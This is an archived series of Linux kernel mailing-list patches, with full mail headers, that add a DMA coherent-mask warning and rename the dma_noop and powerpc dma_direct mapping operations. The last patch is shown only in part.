Xref: news.gmane.org gmane.linux.kernel.metag:1592 gmane.linux.kernel.iommu:22036 gmane.linux.ports.alpha:4690 gmane.linux.kernel.arc:3300 gmane.linux.ports.arm.kernel:625015 gmane.linux.ports.hexagon:1516 gmane.linux.ports.ia64:28515 gmane.linux.ports.mips.general:63202 gmane.linux.ports.parisc:28191 gmane.linux.ports.ppc64.devel:151839 gmane.linux.ports.sh.devel:56247 gmane.linux.ports.sparc:27198 gmane.linux.kernel.cross-arch:41260 gmane.linux.kernel:2662722
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1592>

These days all devices should have a DMA coherent mask, and most dma_ops
implementations rely on that fact.  But just to be sure add an assert to
ring the warning bell if that is not the case.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 include/linux/dma-mapping.h | 1 +
 1 file changed, 1 insertion(+)

diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index d84951865be7..9f28b2fa329e 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -513,6 +513,7 @@ static inline void *dma_alloc_attrs(struct device *dev, size_t size,
 	void *cpu_addr;
 
 	BUG_ON(!ops);
+	WARN_ON_ONCE(!dev->coherent_dma_mask);
 
 	if (dma_alloc_from_dev_coherent(dev, size, dma_handle, &cpu_addr))
 		return cpu_addr;
-- 
2.14.2


From - Thu Nov 08 21:40:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.iommu,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 23/33] dma-direct: rename dma_noop to dma_direct
Date: Wed, 10 Jan 2018 09:00:17 +0100
Lines: 271
Approved: news@gmane.org
Message-ID: <20180110080027.13879-24-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571202 9423 195.159.176.226 (10 Jan 2018 08:00:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:00:02 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Jan 10 08:59:56 2018
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1eZBIa-0001e7-2B
	for lnx-linux-alpha@m.gmane.org; Wed, 10 Jan 2018 08:59:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965441AbeAJIBt (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Wed, 10 Jan 2018 03:01:49 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:47498 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933510AbeAJIBr (ORCPT
        <rfc822;linux-alpha@vger.kernel.org>);
        Wed, 10 Jan 2018 03:01:47 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=jVSmeM6Xrb3SdzjcLqe3IrJllkhXEPvZDCeWMIbklCw=; b=dE7pEnXPnE5hskCTUDa13u2Ba
        soYZClsp33dNBYZZgo+7ImapdzZOFHWN6z32XZ+jTnAHsH5Fe6tRBuQ9UqwE/AbZLxGG7YxPGhYXn
        i2jtarB3lPB3HrfSPib4/83+kLFlkyhD+kC/hN0L+SKIQNzhD2eunxOzfMMZh6qwPBGrPvEiSEBXy
        zI3QT5SSPyLlBcTaBXey+k995WM9Kos7tiigS5EMHj1V63IRm5axKDkWwdZt/b4ondaIUGzaJptXQ
        ZB5zb0Ob4jVU7J3ZLfBK0ZYCtcuq8RRCEXRUZOs2YqB1fyG4IjDPb8twEJntpCV40Yns/fmxU5hq+
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKO-0005GX-5S; Wed, 10 Jan 2018 08:01:40 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4691 gmane.linux.kernel.iommu:22037 gmane.linux.kernel.arc:3301 gmane.linux.ports.arm.kernel:625016 gmane.linux.ports.hexagon:1517 gmane.linux.ports.ia64:28516 gmane.linux.kernel.metag:1593 gmane.linux.ports.mips.general:63203 gmane.linux.ports.parisc:28192 gmane.linux.ports.ppc64.devel:151840 gmane.linux.ports.sh.devel:56248 gmane.linux.ports.sparc:27199 gmane.linux.kernel.cross-arch:41261 gmane.linux.kernel:2662723
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4691>

The trivial direct mapping implementation already does a virtual to
physical translation which isn't strictly a noop, and will soon learn
to do non-direct but linear physical to dma translations through the
device offset and a few small tricks.  Rename it to a better fitting
name.

Signed-off-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Vladimir Murzin <vladimir.murzin@arm.com>
---
 MAINTAINERS                        |  2 +-
 arch/arm/Kconfig                   |  2 +-
 arch/arm/include/asm/dma-mapping.h |  2 +-
 arch/arm/mm/dma-mapping-nommu.c    |  8 ++++----
 arch/m32r/Kconfig                  |  2 +-
 arch/riscv/Kconfig                 |  2 +-
 arch/s390/Kconfig                  |  2 +-
 include/asm-generic/dma-mapping.h  |  2 +-
 include/linux/dma-mapping.h        |  2 +-
 lib/Kconfig                        |  2 +-
 lib/Makefile                       |  2 +-
 lib/{dma-noop.c => dma-direct.c}   | 35 +++++++++++++++--------------------
 12 files changed, 29 insertions(+), 34 deletions(-)
 rename lib/{dma-noop.c => dma-direct.c} (52%)

diff --git a/MAINTAINERS b/MAINTAINERS
index 234e642e7149..2d54e636d625 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -4334,7 +4334,7 @@ T:	git git://git.infradead.org/users/hch/dma-mapping.git
 W:	http://git.infradead.org/users/hch/dma-mapping.git
 S:	Supported
 F:	lib/dma-debug.c
-F:	lib/dma-noop.c
+F:	lib/dma-direct.c
 F:	lib/dma-virt.c
 F:	drivers/base/dma-mapping.c
 F:	drivers/base/dma-coherent.c
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 00d889a37965..430a0aa710d6 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -25,7 +25,7 @@ config ARM
 	select CLONE_BACKWARDS
 	select CPU_PM if (SUSPEND || CPU_IDLE)
 	select DCACHE_WORD_ACCESS if HAVE_EFFICIENT_UNALIGNED_ACCESS
-	select DMA_NOOP_OPS if !MMU
+	select DMA_DIRECT_OPS if !MMU
 	select EDAC_SUPPORT
 	select EDAC_ATOMIC_SCRUB
 	select GENERIC_ALLOCATOR
diff --git a/arch/arm/include/asm/dma-mapping.h b/arch/arm/include/asm/dma-mapping.h
index e5d9020c9ee1..8436f6ade57d 100644
--- a/arch/arm/include/asm/dma-mapping.h
+++ b/arch/arm/include/asm/dma-mapping.h
@@ -18,7 +18,7 @@ extern const struct dma_map_ops arm_coherent_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	return IS_ENABLED(CONFIG_MMU) ? &arm_dma_ops : &dma_noop_ops;
+	return IS_ENABLED(CONFIG_MMU) ? &arm_dma_ops : &dma_direct_ops;
 }
 
 #ifdef __arch_page_to_dma
diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
index 6db5fc26d154..4d8042521e89 100644
--- a/arch/arm/mm/dma-mapping-nommu.c
+++ b/arch/arm/mm/dma-mapping-nommu.c
@@ -22,7 +22,7 @@
 #include "dma.h"
 
 /*
- *  dma_noop_ops is used if
+ *  dma_direct_ops is used if
  *   - MMU/MPU is off
  *   - cpu is v7m w/o cache support
  *   - device is coherent
@@ -39,7 +39,7 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
 				 unsigned long attrs)
 
 {
-	const struct dma_map_ops *ops = &dma_noop_ops;
+	const struct dma_map_ops *ops = &dma_direct_ops;
 	void *ret;
 
 	/*
@@ -70,7 +70,7 @@ static void arm_nommu_dma_free(struct device *dev, size_t size,
 			       void *cpu_addr, dma_addr_t dma_addr,
 			       unsigned long attrs)
 {
-	const struct dma_map_ops *ops = &dma_noop_ops;
+	const struct dma_map_ops *ops = &dma_direct_ops;
 
 	if (attrs & DMA_ATTR_NON_CONSISTENT) {
 		ops->free(dev, size, cpu_addr, dma_addr, attrs);
@@ -213,7 +213,7 @@ EXPORT_SYMBOL(arm_nommu_dma_ops);
 
 static const struct dma_map_ops *arm_nommu_get_dma_map_ops(bool coherent)
 {
-	return coherent ? &dma_noop_ops : &arm_nommu_dma_ops;
+	return coherent ? &dma_direct_ops : &arm_nommu_dma_ops;
 }
 
 void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
index 498398d915c1..dd84ee194579 100644
--- a/arch/m32r/Kconfig
+++ b/arch/m32r/Kconfig
@@ -19,7 +19,7 @@ config M32R
 	select MODULES_USE_ELF_RELA
 	select HAVE_DEBUG_STACKOVERFLOW
 	select CPU_NO_EFFICIENT_FFS
-	select DMA_NOOP_OPS
+	select DMA_DIRECT_OPS
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
 
 config SBUS
diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
index 2c6adf12713a..865e14f50c14 100644
--- a/arch/riscv/Kconfig
+++ b/arch/riscv/Kconfig
@@ -83,7 +83,7 @@ config PGTABLE_LEVELS
 config HAVE_KPROBES
 	def_bool n
 
-config DMA_NOOP_OPS
+config DMA_DIRECT_OPS
 	def_bool y
 
 menu "Platform type"
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index 829c67986db7..9376637229c9 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -140,7 +140,7 @@ config S390
 	select HAVE_DEBUG_KMEMLEAK
 	select HAVE_DMA_API_DEBUG
 	select HAVE_DMA_CONTIGUOUS
-	select DMA_NOOP_OPS
+	select DMA_DIRECT_OPS
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_DYNAMIC_FTRACE_WITH_REGS
 	select HAVE_EFFICIENT_UNALIGNED_ACCESS
diff --git a/include/asm-generic/dma-mapping.h b/include/asm-generic/dma-mapping.h
index 164031531d85..880a292d792f 100644
--- a/include/asm-generic/dma-mapping.h
+++ b/include/asm-generic/dma-mapping.h
@@ -4,7 +4,7 @@
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	return &dma_noop_ops;
+	return &dma_direct_ops;
 }
 
 #endif /* _ASM_GENERIC_DMA_MAPPING_H */
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index d67742dad904..b626028a3e47 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -136,7 +136,7 @@ struct dma_map_ops {
 	int is_phys;
 };
 
-extern const struct dma_map_ops dma_noop_ops;
+extern const struct dma_map_ops dma_direct_ops;
 extern const struct dma_map_ops dma_virt_ops;
 
 #define DMA_BIT_MASK(n)	(((n) == 64) ? ~0ULL : ((1ULL<<(n))-1))
diff --git a/lib/Kconfig b/lib/Kconfig
index c5e84fbcb30b..9d3d649c9dc9 100644
--- a/lib/Kconfig
+++ b/lib/Kconfig
@@ -409,7 +409,7 @@ config HAS_DMA
 	depends on !NO_DMA
 	default y
 
-config DMA_NOOP_OPS
+config DMA_DIRECT_OPS
 	bool
 	depends on HAS_DMA && (!64BIT || ARCH_DMA_ADDR_T_64BIT)
 	default n
diff --git a/lib/Makefile b/lib/Makefile
index d11c48ec8ffd..749851abe85a 100644
--- a/lib/Makefile
+++ b/lib/Makefile
@@ -28,7 +28,7 @@ lib-y := ctype.o string.o vsprintf.o cmdline.o \
 
 lib-$(CONFIG_MMU) += ioremap.o
 lib-$(CONFIG_SMP) += cpumask.o
-lib-$(CONFIG_DMA_NOOP_OPS) += dma-noop.o
+lib-$(CONFIG_DMA_DIRECT_OPS) += dma-direct.o
 lib-$(CONFIG_DMA_VIRT_OPS) += dma-virt.o
 
 lib-y	+= kobject.o klist.o
diff --git a/lib/dma-noop.c b/lib/dma-direct.c
similarity index 52%
rename from lib/dma-noop.c
rename to lib/dma-direct.c
index a10185b0c2d4..0ec3262a3148 100644
--- a/lib/dma-noop.c
+++ b/lib/dma-direct.c
@@ -10,9 +10,8 @@
 #include <linux/scatterlist.h>
 #include <linux/pfn.h>
 
-static void *dma_noop_alloc(struct device *dev, size_t size,
-			    dma_addr_t *dma_handle, gfp_t gfp,
-			    unsigned long attrs)
+static void *dma_direct_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -23,24 +22,21 @@ static void *dma_noop_alloc(struct device *dev, size_t size,
 	return ret;
 }
 
-static void dma_noop_free(struct device *dev, size_t size,
-			  void *cpu_addr, dma_addr_t dma_addr,
-			  unsigned long attrs)
+static void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t dma_addr, unsigned long attrs)
 {
 	free_pages((unsigned long)cpu_addr, get_order(size));
 }
 
-static dma_addr_t dma_noop_map_page(struct device *dev, struct page *page,
-				      unsigned long offset, size_t size,
-				      enum dma_data_direction dir,
-				      unsigned long attrs)
+static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size, enum dma_data_direction dir,
+		unsigned long attrs)
 {
 	return page_to_phys(page) + offset - PFN_PHYS(dev->dma_pfn_offset);
 }
 
-static int dma_noop_map_sg(struct device *dev, struct scatterlist *sgl, int nents,
-			     enum dma_data_direction dir,
-			     unsigned long attrs)
+static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
+		int nents, enum dma_data_direction dir, unsigned long attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -58,11 +54,10 @@ static int dma_noop_map_sg(struct device *dev, struct scatterlist *sgl, int nent
 	return nents;
 }
 
-const struct dma_map_ops dma_noop_ops = {
-	.alloc			= dma_noop_alloc,
-	.free			= dma_noop_free,
-	.map_page		= dma_noop_map_page,
-	.map_sg			= dma_noop_map_sg,
+const struct dma_map_ops dma_direct_ops = {
+	.alloc			= dma_direct_alloc,
+	.free			= dma_direct_free,
+	.map_page		= dma_direct_map_page,
+	.map_sg			= dma_direct_map_sg,
 };
-
-EXPORT_SYMBOL(dma_noop_ops);
+EXPORT_SYMBOL(dma_direct_ops);
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 14/33] powerpc: rename dma_direct_ to dma_nommu_
Date: Wed, 10 Jan 2018 09:00:08 +0100
Lines: 535
Approved: news@gmane.org
Message-ID: <20180110080027.13879-15-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515571204 9747 195.159.176.226 (10 Jan 2018 08:00:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:00:04 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 08:59:58 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZBIY-0001Xi-44
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 08:59:46 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 2ECFAE9A;
	Wed, 10 Jan 2018 08:01:22 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 6E4DEE6B
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:01:21 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id C42181DE83
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:01:19 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=iJi26lwvoQZEtDmRy5u0mOwL6VbH+tTZgpNo+HcUkYc=;
	b=G3DzvNjOWm3GMHmVflsSqVTyy
	rAUE+xvB2ffuSK1sMdFGGgSDc7bUfKalTHzxXE+bQTF98gjQOCSFO3vC0WwPmrIogL7XS5nlxqZKq
	iqOIo6EPtHsOW/ANZInAS99ng9k2zOV1lYMGvCHcTB/5+8Fr4fetIuSRtxIHuSQ6O3kpacfO5fwJj
	GDKLDXZt58PmtKBPxh5zthkSpw/Mx+bUA0rTWEAaFM2+BAU4WAuGNVVNj3zKg3FzVq9j0RsSHby1M
	X3phlsTSE0Irc1lELtQ/TGVeav9DvCoW7CcZnDT37TMEEQXyhxdb771fB9+rAmV8Ec6vyqy1YqZjv
	gvOSOb98A==;
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZBJx-0004fv-7A; Wed, 10 Jan 2018 08:01:13 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22038 gmane.linux.ports.mips.general:63204 gmane.linux.ports.ia64:28517 gmane.linux.ports.sh.devel:56249 gmane.linux.ports.sparc:27200 gmane.linux.kernel.cross-arch:41262 gmane.linux.ports.hexagon:1518 gmane.linux.kernel.arc:3302 gmane.linux.kernel.metag:1594 gmane.linux.ports.arm.kernel:625017 gmane.linux.ports.parisc:28193 gmane.linux.kernel:2662724 gmane.linux.ports.alpha:4692 gmane.linux.ports.ppc64.devel:151841
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22038>

We want to use the dma_direct_ namespace for a generic implementation,
so rename powerpc to the second best choice: dma_nommu_.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/powerpc/include/asm/dma-mapping.h    |  8 ++--
 arch/powerpc/kernel/dma-iommu.c           |  2 +-
 arch/powerpc/kernel/dma-swiotlb.c         |  6 +--
 arch/powerpc/kernel/dma.c                 | 68 +++++++++++++++----------------
 arch/powerpc/kernel/pci-common.c          |  2 +-
 arch/powerpc/kernel/setup-common.c        |  2 +-
 arch/powerpc/platforms/cell/iommu.c       | 28 ++++++-------
 arch/powerpc/platforms/pasemi/iommu.c     |  2 +-
 arch/powerpc/platforms/pasemi/setup.c     |  2 +-
 arch/powerpc/platforms/powernv/pci-ioda.c |  4 +-
 arch/powerpc/platforms/pseries/iommu.c    |  2 +-
 arch/powerpc/platforms/pseries/vio.c      |  2 +-
 arch/powerpc/sysdev/dart_iommu.c          |  4 +-
 arch/powerpc/sysdev/fsl_pci.c             |  2 +-
 drivers/misc/cxl/vphb.c                   |  2 +-
 15 files changed, 68 insertions(+), 68 deletions(-)

diff --git a/arch/powerpc/include/asm/dma-mapping.h b/arch/powerpc/include/asm/dma-mapping.h
index f6ab51205a85..8fa394520af6 100644
--- a/arch/powerpc/include/asm/dma-mapping.h
+++ b/arch/powerpc/include/asm/dma-mapping.h
@@ -19,13 +19,13 @@
 #include <asm/swiotlb.h>
 
 /* Some dma direct funcs must be visible for use in other dma_ops */
-extern void *__dma_direct_alloc_coherent(struct device *dev, size_t size,
+extern void *__dma_nommu_alloc_coherent(struct device *dev, size_t size,
 					 dma_addr_t *dma_handle, gfp_t flag,
 					 unsigned long attrs);
-extern void __dma_direct_free_coherent(struct device *dev, size_t size,
+extern void __dma_nommu_free_coherent(struct device *dev, size_t size,
 				       void *vaddr, dma_addr_t dma_handle,
 				       unsigned long attrs);
-extern int dma_direct_mmap_coherent(struct device *dev,
+extern int dma_nommu_mmap_coherent(struct device *dev,
 				    struct vm_area_struct *vma,
 				    void *cpu_addr, dma_addr_t handle,
 				    size_t size, unsigned long attrs);
@@ -73,7 +73,7 @@ static inline unsigned long device_to_mask(struct device *dev)
 #ifdef CONFIG_PPC64
 extern struct dma_map_ops dma_iommu_ops;
 #endif
-extern const struct dma_map_ops dma_direct_ops;
+extern const struct dma_map_ops dma_nommu_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
diff --git a/arch/powerpc/kernel/dma-iommu.c b/arch/powerpc/kernel/dma-iommu.c
index 66f33e7f8d40..f9fe2080ceb9 100644
--- a/arch/powerpc/kernel/dma-iommu.c
+++ b/arch/powerpc/kernel/dma-iommu.c
@@ -114,7 +114,7 @@ int dma_iommu_mapping_error(struct device *dev, dma_addr_t dma_addr)
 struct dma_map_ops dma_iommu_ops = {
 	.alloc			= dma_iommu_alloc_coherent,
 	.free			= dma_iommu_free_coherent,
-	.mmap			= dma_direct_mmap_coherent,
+	.mmap			= dma_nommu_mmap_coherent,
 	.map_sg			= dma_iommu_map_sg,
 	.unmap_sg		= dma_iommu_unmap_sg,
 	.dma_supported		= dma_iommu_dma_supported,
diff --git a/arch/powerpc/kernel/dma-swiotlb.c b/arch/powerpc/kernel/dma-swiotlb.c
index d0ea7860e02b..f1e99b9cee97 100644
--- a/arch/powerpc/kernel/dma-swiotlb.c
+++ b/arch/powerpc/kernel/dma-swiotlb.c
@@ -47,9 +47,9 @@ static u64 swiotlb_powerpc_get_required(struct device *dev)
  * for everything else.
  */
 const struct dma_map_ops swiotlb_dma_ops = {
-	.alloc = __dma_direct_alloc_coherent,
-	.free = __dma_direct_free_coherent,
-	.mmap = dma_direct_mmap_coherent,
+	.alloc = __dma_nommu_alloc_coherent,
+	.free = __dma_nommu_free_coherent,
+	.mmap = dma_nommu_mmap_coherent,
 	.map_sg = swiotlb_map_sg_attrs,
 	.unmap_sg = swiotlb_unmap_sg_attrs,
 	.dma_supported = swiotlb_dma_supported,
